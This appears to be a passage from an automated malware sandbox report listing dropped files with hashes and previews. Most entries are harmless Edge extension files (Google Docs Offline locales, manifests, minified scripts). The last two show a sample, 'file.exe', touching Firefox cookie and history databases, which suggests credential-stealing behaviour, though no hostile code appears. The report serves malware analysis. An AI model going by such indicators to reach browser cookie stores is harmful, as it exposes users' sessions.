C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir8092_416089617\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8092_416089617\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8092_416089617\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8092_416089617\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_416089617\d6f07e93-2e29-4270-b06c-ba7d9b0162e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................